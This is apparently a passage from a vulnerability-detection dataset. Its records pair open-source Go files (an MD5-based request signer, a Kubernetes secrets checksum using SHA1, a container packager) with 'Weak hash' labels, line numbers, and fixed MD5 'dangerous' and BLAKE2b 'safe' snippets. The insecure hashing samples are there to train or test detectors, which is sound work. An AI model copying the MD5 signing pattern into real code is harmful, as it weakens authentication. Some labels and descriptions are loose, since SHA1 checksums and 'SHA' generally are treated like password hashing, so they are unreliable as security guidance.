cl.Now()\n\t\t\t\tfakeComments := []Comment{{\"hello\", \"\", t}, {\"world\", \"\", t}, {\"hehe\", \"\", t}}\n\t\t\t\tfakeBugs := []MonorailBug{{BugID: \"123123\", ProjectID: \"chromium\"}, {BugID: \"bug2\", ProjectID: \"fuchsia\"}}\n\t\t\t\tann.SnoozeTime = 100\n\t\t\t\tann.Bugs = fakeBugs\n\t\t\t\tann.Comments = fakeComments\n\n\t\t\t\tConvey(\"time\", func() {\n\t\t\t\t\tchangeS := `{\"snoozeTime\":true}`\n\t\t\t\t\tneedRefresh, err := ann.Remove(c, strings.NewReader(changeS))\n\n\t\t\t\t\tSo(err, ShouldBeNil)\n\t\t\t\t\tSo(needRefresh, ShouldBeFalse)\n\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 0)\n\t\t\t\t\tSo(ann.Bugs, ShouldResemble, fakeBugs)\n\t\t\t\t\tSo(ann.Comments, ShouldResemble, fakeComments)\n\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, cl.Now())\n\t\t\t\t})\n\n\t\t\t\tConvey(\"bugs\", func() {\n\t\t\t\t\tchangeString := `{\"bugs\":[{\"id\": \"123123\", \"projectId\": \"chromium\"}]}`\n\t\t\t\t\tConvey(\"basic\", func() {\n\t\t\t\t\t\tneedRefresh, err := ann.Remove(c, strings.NewReader(changeString))\n\n\t\t\t\t\t\tSo(err, ShouldBeNil)\n\t\t\t\t\t\tSo(needRefresh, ShouldBeFalse)\n\t\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 100)\n\t\t\t\t\t\tSo(ann.Comments, ShouldResemble, fakeComments)\n\t\t\t\t\t\tSo(ann.Bugs, ShouldResemble, []MonorailBug{{BugID: \"bug2\", ProjectID: \"fuchsia\"}})\n\t\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, cl.Now())\n\t\t\t\t\t})\n\n\t\t\t\t\tConvey(\"bug error\", func() {\n\t\t\t\t\t\tneedRefresh, err := ann.Remove(c, strings.NewReader(\"badbugzman\"))\n\n\t\t\t\t\t\tSo(err, ShouldNotBeNil)\n\t\t\t\t\t\tSo(needRefresh, ShouldBeFalse)\n\t\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 100)\n\t\t\t\t\t\tSo(ann.Bugs, ShouldResemble, fakeBugs)\n\t\t\t\t\t\tSo(ann.Comments, ShouldResemble, fakeComments)\n\t\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, cl.Now().Add(-time.Hour))\n\t\t\t\t\t})\n\t\t\t\t})\n\n\t\t\t\tConvey(\"comments\", func() {\n\t\t\t\t\tConvey(\"basic\", func() {\n\t\t\t\t\t\tchangeString := `{\"comments\":[1]}`\n\t\t\t\t\t\tneedRefresh, err := ann.Remove(c, strings.NewReader(changeString))\n\n\t\t\t\t\t\tSo(err, ShouldBeNil)\n\t\t\t\t\t\tSo(needRefresh, ShouldBeFalse)\n\t\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 100)\n\t\t\t\t\t\tSo(ann.Bugs, ShouldResemble, fakeBugs)\n\t\t\t\t\t\tSo(ann.Comments, ShouldResemble, []Comment{{\"hello\", \"\", t}, {\"hehe\", \"\", t}})\n\t\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, cl.Now())\n\t\t\t\t\t})\n\n\t\t\t\t\tConvey(\"bad format\", func() {\n\t\t\t\t\t\tneedRefresh, err := ann.Remove(c, strings.NewReader(\"don't do this\"))\n\n\t\t\t\t\t\tSo(err, ShouldNotBeNil)\n\t\t\t\t\t\tSo(needRefresh, ShouldBeFalse)\n\t\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 100)\n\t\t\t\t\t\tSo(ann.Bugs, ShouldResemble, fakeBugs)\n\t\t\t\t\t\tSo(ann.Comments, ShouldResemble, fakeComments)\n\t\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, cl.Now().Add(-time.Hour))\n\t\t\t\t\t})\n\n\t\t\t\t\tConvey(\"invalid index\", func() {\n\t\t\t\t\t\tchangeString := `{\"comments\":[3]}`\n\t\t\t\t\t\tneedRefresh, err := ann.Remove(c, strings.NewReader(changeString))\n\n\t\t\t\t\t\tSo(err, ShouldNotBeNil)\n\t\t\t\t\t\tSo(needRefresh, ShouldBeFalse)\n\t\t\t\t\t\tSo(ann.SnoozeTime, ShouldEqual, 100)\n\t\t\t\t\t\tSo(ann.Bugs, ShouldResemble, fakeBugs)\n\t\t\t\t\t\tSo(ann.Comments, ShouldResemble, fakeComments)\n\t\t\t\t\t\tSo(ann.ModificationTime, ShouldResemble, cl.Now().Add(-time.Hour))\n\t\t\t\t\t})\n\t\t\t\t})\n\n\t\t\t})\n\t\t})\n\t})\n}\n\nfunc TestAlertJSONNonGroupingGetStepName(t *testing.T) {\n\tConvey(\"valid ID\", t, func() {\n\t\tann := &AlertJSONNonGrouping{\n\t\t\tID: \"tree$!project$!bucket$!builder$!step$!0\",\n\t\t}\n\t\tstepName, err := ann.GetStepName()\n\t\tSo(err, ShouldBeNil)\n\t\tSo(stepName, ShouldEqual, \"step\")\n\t})\n\tConvey(\"invalid ID\", t, func() {\n\t\tann := &AlertJSONNonGrouping{\n\t\t\tID: \"my key\",\n\t\t}\n\t\t_, err := ann.GetStepName()\n\t\tSo(err, ShouldNotBeNil)\n\t})\n\tConvey(\"invalid ID 1\", t, func() {\n\t\tann := &AlertJSONNonGrouping{\n\t\t\tID: \"1$!2$!3$!4$!5$!6$!7\",\n\t\t}\n\t\t_, err := ann.GetStepName()\n\t\tSo(err, ShouldNotBeNil)\n\t})\n}\n\nfunc TestAnnotationGetStepName(t *testing.T) {\n\tc := gaetesting.TestingContext()\n\tConvey(\"Get step name valid\", t, func() {\n\t\tann := &Annotation{\n\t\t\tTree: datastore.MakeKey(c, \"Tree\", \"chromium\"),\n\t\t\tKey: \"chromium.step_name\",\n\t\t}\n\t\tstepName, err := ann.GetStepName()\n\t\tSo(err, ShouldBeNil)\n\t\tSo(stepName, ShouldEqual, \"step_name\")\n\t})\n\tConvey(\"Get step name when tree name containing dot\", t, func() {\n\t\tann := &Annotation{\n\t\t\tTree: datastore.MakeKey(c, \"Tree\", \"chromium.clang\"),\n\t\t\tKey: \"chromium.clang.step_name\",\n\t\t}\n\t\tstepName, err := ann.GetStepName()\n\t\tSo(err, ShouldBeNil)\n\t\tSo(stepName, ShouldEqual, \"step_name\")\n\t})\n\tConvey(\"Get step name invalid\", t, func() {\n\t\tann := &Annotation{\n\t\t\tTree: datastore.MakeKey(c, \"Tree\", \"chromium\"),\n\t\t\tKey: \"step_name\",\n\t\t}\n\t\t_, err := ann.GetStepName()\n\t\tSo(err, ShouldNotBeNil)\n\t})\n}\n\nfunc TestIsGroupAnnotation(t *testing.T) {\n\tConvey(\"is group annotation returns true\", t, func() {\n\t\tann := &Annotation{\n\t\t\tKey: \"e2d935ac-c623-4c10-b1e3-73bb54584f8f\",\n\t\t}\n\t\tSo(ann.IsGroupAnnotation(), ShouldBeTrue)\n\t})\n\tConvey(\"is group annotation returns false\", t, func() {\n\t\tann := &Annotation{\n\t\t\tKey: \"abcd\",\n\t\t}\n\t\tSo(ann.IsGroupAnnotation(), ShouldBeFalse)\n\t})\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "804de60049a72f18963f7c42e85830a61497fa87e74b1a7a9df2667c7d0aaa6e", "license": {"spdx": ["MIT"], "repo": "JY01095902/qimenapi", "path": "request/signature.go", "repo_head_hexsha": "b8845d0257f20c509a6039dc47357897be0e8970", "stack_hexsha": "c283f450f0b6a0c146d8eb8c2e3300e4635b3676", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package request\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/base64\"\n\t\"net/url\"\n)\n\nfunc sign(content, key string) string {\n\tsignature := md5.Sum([]byte(content + key))\n\n\treturn base64.StdEncoding.EncodeToString(signature[:])\n}\n\nfunc ValidateSignature(input, key string) bool {\n\tdecodeInput, err := url.QueryUnescape(input)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tvalues, err := url.ParseQuery(decodeInput)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tsignature := sign(values.Get(\"logistics_interface\"), key)\n\n\treturn signature == values.Get(\"data_digest\")\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "dece7eb9286fccde235ed47944cf71450c60b8299c899b6c066f3309ab6adccb", "license": {"spdx": ["Apache-2.0"], "repo": "boxboat/dockhand-secrets-operator", "path": "pkg/k8s/k8s.go", "repo_head_hexsha": "45e49e36b78f4df689979cf21d6ce359c498ea4c", "stack_hexsha": "ef62fedccd59d2d63df7f114bb2932b8c2262fd2", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 22, "entireCode": "/*\nCopyright © 2021 BoxBoat\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage k8s\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/sha1\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\tdockhandv2 \"github.com/boxboat/dockhand-secrets-operator/pkg/apis/dhs.dockhand.dev/v1alpha2\"\n\t\"github.com/boxboat/dockhand-secrets-operator/pkg/common\"\n\t\"github.com/gobuffalo/packr/v2/file/resolver/encoding/hex\"\n\tv1 \"k8s.io/api/apps/v1\"\n\tcorev1 \"k8s.io/api/core/v1\"\n\t\"k8s.io/apimachinery/pkg/api/errors\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\t\"k8s.io/client-go/kubernetes\"\n\t\"k8s.io/client-go/rest\"\n\t\"k8s.io/client-go/tools/leaderelection/resourcelock\"\n\t\"sort\"\n\t\"strings\"\n)\n\ntype PatchOperation struct {\n\tOp string `json:\"op\"`\n\tPath string `json:\"path\"`\n\tValue interface{} `json:\"value,omitempty\"`\n}\n\nfunc CopyStringMap(source map[string]string) map[string]string {\n\n\tmapCopy := make(map[string]string)\n\tfor k, v := range source {\n\t\tmapCopy[k] = v\n\t}\n\treturn mapCopy\n}\n\nfunc GetDeployment(ctx context.Context, name string, namespace string) (*v1.Deployment, error) {\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn clientset.AppsV1().Deployments(namespace).Get(ctx, name, metav1.GetOptions{})\n}\n\nfunc UpdateDeployment(ctx context.Context, deployment *v1.Deployment, namespace string) (*v1.Deployment, error) {\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn clientset.AppsV1().Deployments(namespace).Update(ctx, deployment, metav1.UpdateOptions{})\n}\n\nfunc GetLeaseLock(leaseId string, leaseName string, namespace string) (*resourcelock.LeaseLock, error) {\n\tcommon.Log.Infof(\"%s requesting %s/%s LeaseLock\", leaseId, namespace, leaseName)\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &resourcelock.LeaseLock{\n\t\tLeaseMeta: metav1.ObjectMeta{\n\t\t\tName: leaseName,\n\t\t\tNamespace: namespace,\n\t\t},\n\t\tClient: clientset.CoordinationV1(),\n\t\tLockConfig: resourcelock.ResourceLockConfig{\n\t\t\tIdentity: leaseId,\n\t\t},\n\t}, nil\n}\n\nfunc GetDockhandSecretsListFromK8sSecrets(ctx context.Context, secretNames []string, namespace string) ([]string, error) {\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsecretClient := clientset.CoreV1().Secrets(namespace)\n\n\tvar dhSecrets []string\n\tfor _, secretName := range secretNames {\n\t\tif secret, err := secretClient.Get(ctx, secretName, metav1.GetOptions{}); !errors.IsNotFound(err) {\n\t\t\tif secret.Labels != nil {\n\t\t\t\tif val, ok := secret.Labels[dockhandv2.DockhandSecretLabelKey]; ok {\n\t\t\t\t\tdhSecrets = append(dhSecrets, val)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn dhSecrets, nil\n\n}\n\n// GetSecretsChecksum takes a set of secrets in a namespace and returns a checksum of all of the data in those secrets\nfunc GetSecretsChecksum(ctx context.Context, names []string, namespace string) (string, error) {\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// sort the names to ensure the checksum doesn't change\n\tsort.Strings(names)\n\n\thash := sha1.New()\n\n\tsecretsClient := clientset.CoreV1().Secrets(namespace)\n\tfor _, name := range names {\n\t\tsecret, err := secretsClient.Get(ctx, name, metav1.GetOptions{})\n\t\tif err != nil {\n\t\t\tcommon.Log.Warnf(\"error retrieving %s/%s %v\", namespace, name, err)\n\t\t\treturn \"\", fmt.Errorf(\"unable to checksum secret %s/%s\", namespace, name)\n\t\t}\n\t\tvar keys []string\n\t\tfor k := range secret.Data {\n\t\t\tkeys = append(keys, k)\n\t\t}\n\t\tsort.Strings(keys)\n\t\tfor _, k := range keys {\n\t\t\thash.Write([]byte(k))\n\t\t\thash.Write(secret.Data[k])\n\t\t}\n\t}\n\treturn hex.EncodeToString(hash.Sum(nil)), nil\n}\n\n// UpdateCABundleForWebhook updates the CA Bundle\nfunc UpdateCABundleForWebhook(ctx context.Context, name string, caBundleBytes []byte) error {\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\treturn err\n\t}\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\twebhookClient := clientset.AdmissionregistrationV1().MutatingWebhookConfigurations()\n\twebhook, err := webhookClient.Get(ctx, name, metav1.GetOptions{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tchange := false\n\n\tfor idx := range webhook.Webhooks {\n\t\tif bytes.Compare(webhook.Webhooks[idx].ClientConfig.CABundle, caBundleBytes) != 0 {\n\t\t\tcommon.Log.Infof(\"updating %s CABundle\", webhook.Webhooks[idx].Name)\n\t\t\twebhook.Webhooks[idx].ClientConfig.CABundle = caBundleBytes\n\t\t\tchange = true\n\t\t}\n\t}\n\tif change {\n\t\t_, err := webhookClient.Update(context.Background(), webhook, metav1.UpdateOptions{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tcommon.Log.Debugf(\"no change detected with CA pem - not updating webhook configuration\")\n\t}\n\n\treturn nil\n}\n\nfunc UpdateTlsCertificateSecret(ctx context.Context, name string, namespace string, serverPem []byte, serverKey []byte, caPem []byte) error {\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\treturn err\n\t}\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttlsSecret := &corev1.Secret{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t},\n\t\tType: corev1.SecretTypeTLS,\n\t\tData: map[string][]byte{\n\t\t\t\"tls.key\": serverKey,\n\t\t\t\"tls.crt\": serverPem,\n\t\t\t\"ca.crt\": caPem,\n\t\t},\n\t}\n\t_, err = clientset.CoreV1().Secrets(namespace).Update(ctx, tlsSecret, metav1.UpdateOptions{})\n\tif errors.IsNotFound(err) {\n\t\tif _, err = clientset.CoreV1().Secrets(namespace).Create(ctx, tlsSecret, metav1.CreateOptions{}); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tcommon.Log.Infof(\"Created secret[%s]\", tlsSecret.Name)\n\t} else {\n\t\tcommon.Log.Infof(\"Updated secret[%s]\", tlsSecret.Name)\n\t}\n\treturn nil\n\n}\n\n// GetServiceCertificate for service and namespace.\nfunc GetServiceCertificate(ctx context.Context, name string, namespace string) (*tls.Certificate, []byte, error) {\n\tconfig, err := rest.InClusterConfig()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tclientset, err := kubernetes.NewForConfig(config)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\ttlsSecret, err := clientset.CoreV1().Secrets(namespace).Get(ctx, name, metav1.GetOptions{})\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tkeyPair, err := tls.X509KeyPair(tlsSecret.Data[\"tls.crt\"], tlsSecret.Data[\"tls.key\"])\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tcaCert := tlsSecret.Data[\"ca.crt\"]\n\n\treturn &keyPair, caCert, nil\n}\n\nfunc GenerateMetadataLabelsPatch(target map[string]string, added map[string]string) (patch []PatchOperation) {\n\tfor key, value := range added {\n\t\tif target == nil {\n\t\t\ttarget = map[string]string{}\n\t\t\ttarget[key] = value\n\t\t\tpatch = append(patch, PatchOperation{\n\t\t\t\tOp: \"add\",\n\t\t\t\tPath: \"/metadata/labels\",\n\t\t\t\tValue: target,\n\t\t\t})\n\t\t} else if target[key] == \"\" {\n\t\t\tpatch = append(patch, PatchOperation{\n\t\t\t\tOp: \"add\",\n\t\t\t\tPath: \"/metadata/labels/\" + strings.ReplaceAll(key, \"/\", \"~1\"),\n\t\t\t\tValue: value,\n\t\t\t})\n\t\t} else {\n\t\t\tpatch = append(patch, PatchOperation{\n\t\t\t\tOp: \"replace\",\n\t\t\t\tPath: \"/metadata/labels/\" + strings.ReplaceAll(key, \"/\", \"~1\"),\n\t\t\t\tValue: value,\n\t\t\t})\n\t\t}\n\t}\n\tfor key := range target {\n\t\tif added == nil || added[key] == \"\" {\n\t\t\tpatch = append(patch, PatchOperation{\n\t\t\t\tOp: \"remove\",\n\t\t\t\tPath: \"/metadata/labels/\" + strings.ReplaceAll(key, \"/\", \"~1\"),\n\t\t\t})\n\t\t}\n\t}\n\treturn patch\n}\n\nfunc GenerateSpecTemplateAnnotationPatch(target map[string]string, added map[string]string) (patch []PatchOperation) {\n\n\tfor key, value := range added {\n\t\tif target == nil {\n\t\t\ttarget = map[string]string{}\n\t\t\ttarget[key] = value\n\t\t\tpatch = append(patch, PatchOperation{\n\t\t\t\tOp: \"add\",\n\t\t\t\tPath: \"/spec/template/metadata/annotations\",\n\t\t\t\tValue: target,\n\t\t\t})\n\t\t} else if target[key] == \"\" {\n\t\t\tpatch = append(patch, PatchOperation{\n\t\t\t\tOp: \"add\",\n\t\t\t\tPath: \"/spec/template/metadata/annotations/\" + strings.ReplaceAll(key, \"/\", \"~1\"),\n\t\t\t\tValue: value,\n\t\t\t})\n\t\t} else {\n\t\t\tpatch = append(patch, PatchOperation{\n\t\t\t\tOp: \"replace\",\n\t\t\t\tPath: \"/spec/template/metadata/annotations/\" + strings.ReplaceAll(key, \"/\", \"~1\"),\n\t\t\t\tValue: value,\n\t\t\t})\n\t\t}\n\t}\n\tfor key := range target {\n\t\tif added == nil || added[key] == \"\" {\n\t\t\tpatch = append(patch, PatchOperation{\n\t\t\t\tOp: \"remove\",\n\t\t\t\tPath: \"/spec/template/metadata/annotations/\" + strings.ReplaceAll(key, \"/\", \"~1\"),\n\t\t\t})\n\t\t}\n\t}\n\treturn patch\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 22, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "072e5b217e7a15b7db0b6283f0ac20b29d47b23671fdb47f3fa77f2b3d2ff67d", "license": {"spdx": ["Apache-2.0"], "repo": "gpradhan909/porter", "path": "provision/pack.go", "repo_head_hexsha": "2f550af6b82c34be1a380b4ec291673655bf4f9d", "stack_hexsha": "8a61a2830133043d04c0a32d1aaef894349db856", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 16, "entireCode": "/*\n * (c) 2016-2018 Adobe. All rights reserved.\n * This file is licensed to you under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License. You may obtain a copy\n * of the License at http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software distributed under\n * the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS\n * OF ANY KIND, either express or implied. See the License for the specific language\n * governing permissions and limitations under the License.\n */\npackage provision\n\nimport (\n\t\"bufio\"\n\t\"crypto/md5\"\n\t\"crypto/rand\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\tyaml \"gopkg.in/yaml.v2\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/adobe-platform/porter/conf\"\n\t\"github.com/adobe-platform/porter/constants\"\n\t\"gopkg.in/inconshreveable/log15.v2\"\n)\n\nvar (\n\tdockerSaveLock sync.Mutex\n\tbuildArgRe = regexp.MustCompile(`^ARG (.+)$`)\n)\n\n// Package creates the service payload to deliver to S3\nfunc Package(log log15.Logger, config *conf.Config) (success bool) {\n\n\t// clean up old artifacts before building\n\texec.Command(\"rm\", \"-rf\", constants.PayloadWorkingDir).Run()\n\n\t// clean up artifacts after building\n\tdefer exec.Command(\"rm\", \"-rf\", constants.PayloadWorkingDir).Run()\n\n\texec.Command(\"mkdir\", \"-p\", constants.PayloadWorkingDir).Run()\n\n\trevParseOutput, err := exec.Command(\"git\", \"rev-parse\", \"--short\", \"HEAD\").Output()\n\tif err != nil {\n\t\tlog.Error(\"git rev-parse\", \"Error\", err)\n\t\treturn\n\t}\n\n\tnow := time.Now().Unix()\n\tconfig.ServiceVersion = strings.TrimSpace(string(revParseOutput))\n\n\tdockerRegistry := os.Getenv(constants.EnvDockerRegistry)\n\tdockerRepository := os.Getenv(constants.EnvDockerRepository)\n\tdockerPushUsername := os.Getenv(constants.EnvDockerPushUsername)\n\tdockerPushPassword := os.Getenv(constants.EnvDockerPushPassword)\n\n\tif dockerRegistry != \"\" && dockerPushUsername != \"\" && dockerPushPassword != \"\" {\n\n\t\tlog.Info(\"docker login\")\n\t\tloginCmd := exec.Command(\"docker\", \"login\",\n\t\t\t\"-u\", dockerPushUsername,\n\t\t\t\"-p\", dockerPushPassword,\n\t\t\tdockerRegistry)\n\t\tloginCmd.Stdout = os.Stdout\n\t\tloginCmd.Stderr = os.Stderr\n\t\terr := loginCmd.Run()\n\t\tif err != nil {\n\t\t\tlog.Error(\"docker login\", \"Error\", err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tuniqueContainers := make(map[string]*conf.Container)\n\n\t// This is in a loop but assumes we're building a single container\n\t// TODO support multiple containers\n\tfor _, environment := range config.Environments {\n\n\t\tfor _, region := range environment.Regions {\n\n\t\t\tfor _, container := range region.Containers {\n\n\t\t\t\tcontainer.OriginalName = container.Name\n\n\t\t\t\t// Alter the name in the config so we know which image names are part\n\t\t\t\t// of the service payload. This is important for hotswap to know which\n\t\t\t\t// of the available images on the host are the ones to be swapped in.\n\t\t\t\tif dockerRegistry == \"\" && dockerRepository == \"\" {\n\n\t\t\t\t\tcontainer.Name = fmt.Sprintf(\"s3/s3:porter-%s-%d-%s\",\n\t\t\t\t\t\tconfig.ServiceVersion, now, container.Name)\n\t\t\t\t} else {\n\n\t\t\t\t\tcontainer.Name = fmt.Sprintf(\"%s/%s:porter-%s-%d-%s\",\n\t\t\t\t\t\tdockerRegistry, dockerRepository,\n\t\t\t\t\t\tconfig.ServiceVersion, now, container.Name)\n\t\t\t\t}\n\n\t\t\t\t// a unique container is the combination of its name and\n\t\t\t\t// Dockerfiles used to build it\n\t\t\t\tuid := container.Name + container.Dockerfile + container.DockerfileBuild\n\n\t\t\t\tif _, exists := uniqueContainers[uid]; !exists {\n\n\t\t\t\t\tuniqueContainers[uid] = container\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tsuccessChan := make(chan bool)\n\n\tfor _, container := range uniqueContainers {\n\n\t\tgo func(container *conf.Container) {\n\n\t\t\tsuccessChan <- buildContainer(log, container)\n\n\t\t}(container)\n\t}\n\n\tfor i := 0; i < len(uniqueContainers); i++ {\n\t\tsuccess = <-successChan\n\t\tif !success {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif !copyPathBasedFiles(log, config) {\n\t\treturn\n\t}\n\n\tif !haproxyAuth(log, config) {\n\t\treturn\n\t}\n\n\tconfigBytes, err := yaml.Marshal(config)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// for later build stages\n\terr = ioutil.WriteFile(constants.AlteredConfigPath, configBytes, 0644)\n\tif err != nil {\n\t\tlog.Error(\"WriteFile\", \"Path\", constants.AlteredConfigPath)\n\t\treturn\n\t}\n\n\t// for the service payload about to be created\n\terr = ioutil.WriteFile(constants.PackPayloadConfigPath, configBytes, 0644)\n\tif err != nil {\n\t\tlog.Error(\"WriteFile\", \"Path\", constants.PackPayloadConfigPath)\n\t\treturn\n\t}\n\n\tlog.Info(fmt.Sprintf(\"creating service payload at %s\", constants.PayloadPath))\n\n\ttarCmd := exec.Command(\"tar\", \"-C\", constants.PayloadWorkingDir, \"-czf\", constants.PayloadPath, 